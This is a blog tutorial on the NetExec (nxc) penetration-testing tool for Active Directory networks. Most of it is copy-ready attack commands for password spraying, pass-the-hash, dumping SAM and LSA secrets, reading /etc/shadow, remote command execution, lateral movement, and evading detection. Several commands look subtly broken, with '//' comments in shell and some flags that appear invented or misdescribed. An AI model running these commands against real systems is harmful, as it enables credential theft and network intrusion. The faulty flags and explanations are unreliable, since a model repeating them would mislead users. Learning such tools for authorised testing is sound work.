By using this site, you agree to the Privacy Policy and Terms of Use.
Accept

AceFortis

Cybersecurity Research

  • Home
  • Training
  • Compliance
  • Awareness
  • Research
    • Penetration Testing
    • CVE & Vulnerabilities
    • Hacking Tutorials
    • Tools & Reviews
    • Certifications
    • CTF
  • About
  • Contact
Search

Categories

  • Cybersecurity
  • Penetration Testing
  • Frameworks & Theory
  • CVE & Vulnerabilities
  • Hacking Tutorials
  • Tools & Reviews
  • CTF
  • Certifications
  • About AceFortis
  • Privacy Policy
  • Cybersecurity Training
  • Terms of Use

Tools & Platforms

  • TryHackMe vs HackTheBox: A Beginner’s Comparison
  • Burp Suite vs OWASP ZAP: Complete Pentesting Comparison
  • Kali vs Parrot OS: Best Pentesting Distro 2026 Comparison
  • Metasploit vs Cobalt Strike: Features, Pricing, Evasion
  • Nmap Network Scanning Tutorial for Beginners (2026)
  • Cookie Policy (EU)
  • About
  • Contact
  • Privacy Policy
  • Sitemap
  • Terms of Use
© 2026 AceFortis. All Rights Reserved.
Reading: NetExec (nxc): The Modern Pentesters Swiss Army Knife
Share
Notification Show More
Font ResizerAa

AceFortis

Cybersecurity Research

Font ResizerAa
Search
Follow US
  • About
  • Contact
  • Privacy Policy
  • Sitemap
  • Terms of Use
© 2026 AceFortis. All Rights Reserved.
Tools & Reviews

NetExec (nxc): The Modern Pentesters Swiss Army Knife

Akash Kumar
Last updated: October 13, 2026 11:18 pm
Akash Kumar
Share
SHARE

NetExec (nxc): The Network Exploitation Tool You Can’t Live Without

If you’re pentesting Active Directory environments, you know the pain. One tool to check SMB. Another for WinRM. Separate tools for SQL, LDAP, SSH. Each with different syntax, different output, different headaches.

Contents
What NetExec DoesInstallationBasic SyntaxSMB: The WorkhorseQuick Network DiscoveryUser EnumerationShare AccessCredential TestingCommand ExecutionLDAP: Domain IntelWinRM: Remote Command ExecMSSQL: Database PivotingSSH: Classic Remote AccessModules: The Real PowerCredential ManagementOpSec TipsAvoid DetectionWhat Gets LoggedCommon WorkflowsInitial AccessCredential StuffingLateral MovementOutput FormatsPro TipsComparison: nxc vs AlternativesResourcesBottom Line

NetExec (formerly CrackMapExec, now called nxc) solves this. It’s one tool to rule them all.


What NetExec Does

NetExec automates network service enumeration and exploitation. It speaks multiple protocols fluently:

ProtocolWhat It Does
SMBFile shares, user enumeration, pass-the-hash
LDAPDomain enumeration, user listing
WinRMRemote command execution
MSSQLSQL exploitation, command execution
SSHCredential testing, key auth
RDPSession enumeration
FTPAnonymous access, credential testing
VNCAuthentication testing

One syntax. Same output format. Same credential handling across all protocols.


Installation

# Kali Linux
sudo apt install netexec

# Python pip
pipx install netexec

# Docker
docker run -it --rm netexec/nxc

# From source
git clone https://github.com/Pennyw0rth/NetExec
cd NetExec
pipx install .

Verify:

nxc --version

Basic Syntax

nxc <protocol> <target> [options]

Examples:

# SMB scan
nxc smb 192.168.1.0/24

# LDAP enumeration
nxc ldap 192.168.1.10 -u user -p pass --users

# WinRM command execution
nxc winrm 192.168.1.50 -u admin -p Passw0rd -x "whoami"

SMB: The Workhorse

Quick Network Discovery

# Find all SMB hosts
nxc smb 192.168.1.0/24

# With hostname resolution
nxc smb 192.168.1.0/24 --local-auth

User Enumeration

# List domain users
nxc smb 192.168.1.10 -u 'user' -p 'pass' --users

# Check password policy
nxc smb 192.168.1.10 -u 'user' -p 'pass' --pass-pol

# List computers
nxc smb 192.168.1.10 -u 'user' -p 'pass' --computers

Share Access

# List all shares
nxc smb 192.168.1.10 -u 'user' -p 'pass' --shares

# Find interesting shares
nxc smb 192.168.1.10 -u 'user' -p 'pass' --shares --filter-shares read write

Credential Testing

# Password spray (be careful!)
nxc smb 192.168.1.0/24 -u users.txt -p 'Winter2025!' --continue-on-success

# Brute force (for specific accounts)
nxc smb 192.168.1.10 -u 'admin' -p passwords.txt

# Pass-the-Hash
nxc smb 192.168.1.0/24 -u 'admin' -H 'LMHASH:NTHASH'

# Pass-the-Ticket
nxc smb 192.168.1.10 -u 'admin' --kerberos-ticket ticket.ccache

Command Execution

# Execute command
nxc smb 192.168.1.10 -u 'admin' -p 'Pass' -x 'net user'

# Execute via scheduled task
nxc smb 192.168.1.10 -u 'admin' -p 'Pass' -x 'cmd.exe' --jitter 30

# PowerShell
nxc smb 192.168.1.10 -u 'admin' -p 'Pass' -X 'Get-Process'

LDAP: Domain Intel

# Basic enumeration
nxc ldap dc01.corp.local -u 'user' -p 'pass'

# Get all users
nxc ldap dc01.corp.local -u 'user' -p 'pass' --users

# Get groups
nxc ldap dc01.corp.local -u 'user' -p 'pass' --groups

# Find kerberoastable users
nxc ldap dc01.corp.local -u 'user' -p 'pass' --kerberoasting

# Find AS-REP roastable users
nxc ldap dc01.corp.local -u 'user' -p 'pass' --asreproast

# Get password policy
nxc ldap dc01.corp.local -u 'user' -p 'pass' --pass-pol

// Find delegation
nxc ldap dc01.corp.local -u 'user' -p 'pass' --trusted-for-delegation

WinRM: Remote Command Exec

# Test connection
nxc winrm 192.168.1.10 -u 'admin' -p 'Pass'

# Execute command
nxc winrm 192.168.1.10 -u 'admin' -p 'Pass' -x 'hostname'

// PowerShell
nxc winrm 192.168.1.10 -u 'admin' -p 'Pass' -X 'Get-ChildItem C:\'

# Upload file
nxc winrm 192.168.1.10 -u 'admin' -p 'Pass' --put-file local.exe remote.exe

MSSQL: Database Pivoting

# Test credentials
nxc mssql 192.168.1.10 -u 'sa' -p 'SQLPass123'

# Execute command (if xp_cmdshell enabled)
nxc mssql 192.168.1.10 -u 'sa' -p 'SQLPass123' -x 'whoami'

# Enable xp_cmdshell
nxc mssql 192.168.1.10 -u 'sa' -p 'SQLPass123' --enable-xp-cmdshell

# Query database
nxc mssql 192.168.1.10 -u 'sa' -p 'SQLPass123' -q 'SELECT @@version'

SSH: Classic Remote Access

# Password auth
nxc ssh 192.168.1.10 -u 'root' -p 'toor'

# Key auth
nxc ssh 192.168.1.10 -u 'root' --key-file id_rsa

// Execute command
nxc ssh 192.168.1.10 -u 'root' -p 'toor' -x 'cat /etc/shadow'

Modules: The Real Power

NetExec has a module system for specialized attacks:

# List all modules
nxc smb -L

# Popular modules

# Dump SAM hashes
nxc smb 192.168.1.10 -u 'admin' -p 'Pass' -M sam

# Dump LSA secrets
nxc smb 192.168.1.10 -u 'admin' -p 'Pass' -M lsa

# Check for zero logon
nxc smb 192.168.1.10 -M zerologon

# Drop the logon
nxc smb 192.168.1.10 -M drop_the_logon

# Check for PrintNightmare
nxc smb 192.168.1.10 -M printnightmare

# Check for PetitPotam
nxc smb 192.168.1.10 -M petitpotam

Credential Management

NetExec caches credentials automatically:

# View cached creds
nxc smb --list-cached-creds

# Clear cache
nxc smb --clear-cache

# Use database
nxc smb --database

The database tracks:
– Valid credentials
– Host information
– Shares found
– Group memberships


OpSec Tips

Avoid Detection

# Add jitter to commands
nxc smb target -u admin -p pass -x command --jitter 30

// Limit threads
nxc smb 192.168.1.0/24 -t 10

// Randomize target order
nxc smb 192.168.1.0/24 --randomize

# Use valid sources
nxc smb target -u admin -p pass --local-auth

What Gets Logged

  • Every authentication attempt (success/failure)
  • Command execution via PsExec, WMI, SMB
  • PowerShell commands in Event Log

Blind cred spraying = getting caught.


Common Workflows

Initial Access

# 1. Discover SMB hosts
nxc smb 192.168.1.0/24 -t 10

# 2. Test for null sessions
nxc smb targets.txt -u '' -p ''

# 3. Password spray (carefully)
nxc smb targets.txt -u users.txt -p 'CompanyName2025!' --continue-on-success -t 1

Credential Stuffing

# Test dumped creds
nxc smb 192.168.1.0/24 -u users.txt -H hashes.txt --no-bruteforce

Lateral Movement

# Find admin access
nxc smb 192.168.1.0/24 -u 'admin' -H 'NTHASH' --admin-count

# Execute on all where admin
nxc smb 192.168.1.0/24 -u 'admin' -H 'NTHASH' -x 'hostname' --admin-count

Output Formats

# JSON output
nxc smb target -u admin -p pass -o json | jq .

# Export to file
nxc smb target -u admin -p pass --output-file results.txt

# Quiet mode (just successes)
nxc smb target -u admin -p pass --no-progress

Pro Tips

  1. Combine with BloodHound data – Use collected data to find paths
  2. Use with proxies – proxychains nxc smb target
  3. Integrate with Metasploit – NetExec can handoff sessions
  4. Chain with other tools – BloodHound -> NetExec -> Impacket = win

Comparison: nxc vs Alternatives

FeatureNetExecCrackMapExecMetasploit
Multi-protocolYesYesPartial
SpeedFastFastSlow
MemoryLowLowHigh
OutputCleanCleanVerbose
ModulesManyManyMassive

Resources

  • Official Wiki: https://www.netexec.wiki/
  • GitHub: https://github.com/Pennyw0rth/NetExec
  • Discord: https://discord.gg/pjwUTQzg8R

Bottom Line

If you’re still using separate tools for SMB, LDAP, WinRM, and SQL testing, you’re wasting time.

NetExec unifies them all. Learn it. Love it. It’s the one tool you’ll use on every engagement.

nxc smb 192.168.1.0/24 -u users.txt -p 'Winter2025!' --continue-on-success

One command. Entire network. Done.

You Might Also Like

Metasploit vs Cobalt Strike: Features, Pricing, Evasion
TryHackMe vs HackTheBox: A Beginner’s Comparison
BloodHound for Active Directory Enumeration: A Practitioners Guide
Burp Suite vs OWASP ZAP: Complete Pentesting Comparison
Kali vs Parrot OS: Best Pentesting Distro 2026 Comparison

Sign Up For Daily Newsletter

Be keep up! Get the latest breaking news delivered straight to your inbox.
[mc4wp_form]
By signing up, you agree to our Terms of Use and acknowledge the data practices in our Privacy Policy. You may unsubscribe at any time.
Share This Article
Facebook Copy Link Print
Share
ByAkash Kumar
Follow:
Akash Kumar, founder of AceFortis. Penetration tester and cybersecurity trainer based in Milan, and cybersecurity instructor at DEMOS Fondazione ITS. Expertise: penetration testing, red teaming and Active Directory security. I offer security awareness training, phishing simulations and courses on NIS2, DORA and ISO 27001 for companies and institutions, in English and Italian. Certifications: CPENT, CRTA, eJPT, PT1.
Previous Article Impacket: The AD Attack Toolkit Every Pentester Needs
Next Article SolarWinds: The Supply Chain Attack That Changed Everything
Leave a Comment

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *

Latest News

EU AI Act: What Businesses Must Do Now (2026 Update)
Compliance
Password Policy in 2026: What NIST SP 800-63B Recommends
Compliance
How to Run a Cyber Tabletop Exercise: Ransomware Scenario
Security Awareness & Training
30-Day Security Awareness Training Plan
Security Awareness & Training

You Might also Like

Wireshark for Network Analysis: A Practical Guide from the Trenches

Akash Kumar
Akash Kumar
18 Min Read

Nmap for Network Reconnaissance: The Complete Guide

Akash Kumar
Akash Kumar
13 Min Read

Impacket Tools Mastery: Essential CTF Weaponry

Akash Kumar
Akash Kumar
4 Min Read
//

Sharing knowledge that keeps the digital world a little safer.

Sign Up for Our Newsletter

Subscribe to our newsletter to get our newest articles instantly!

[mc4wp_form id=”1616″]

AceFortisAceFortis
Follow US
© 2026 AceFortis. All Rights Reserved.
Manage Consent
To provide the best experiences, we use technologies like cookies to store and/or access device information. Consenting to these technologies will allow us to process data such as browsing behavior or unique IDs on this site. Not consenting or withdrawing consent, may adversely affect certain features and functions.
Functional Always active
The technical storage or access is strictly necessary for the legitimate purpose of enabling the use of a specific service explicitly requested by the subscriber or user, or for the sole purpose of carrying out the transmission of a communication over an electronic communications network.
Preferences
The technical storage or access is necessary for the legitimate purpose of storing preferences that are not requested by the subscriber or user.
Statistics
The technical storage or access that is used exclusively for statistical purposes. The technical storage or access that is used exclusively for anonymous statistical purposes. Without a subpoena, voluntary compliance on the part of your Internet Service Provider, or additional records from a third party, information stored or retrieved for this purpose alone cannot usually be used to identify you.
Marketing
The technical storage or access is required to create user profiles to send advertising, or to track the user on a website or across several websites for similar marketing purposes.
  • Manage options
  • Manage services
  • Manage {vendor_count} vendors
  • Read more about these purposes
View preferences
  • {title}
  • {title}
  • {title}
Welcome Back!

Sign in to your account

Username or Email Address
Password

Lost your password?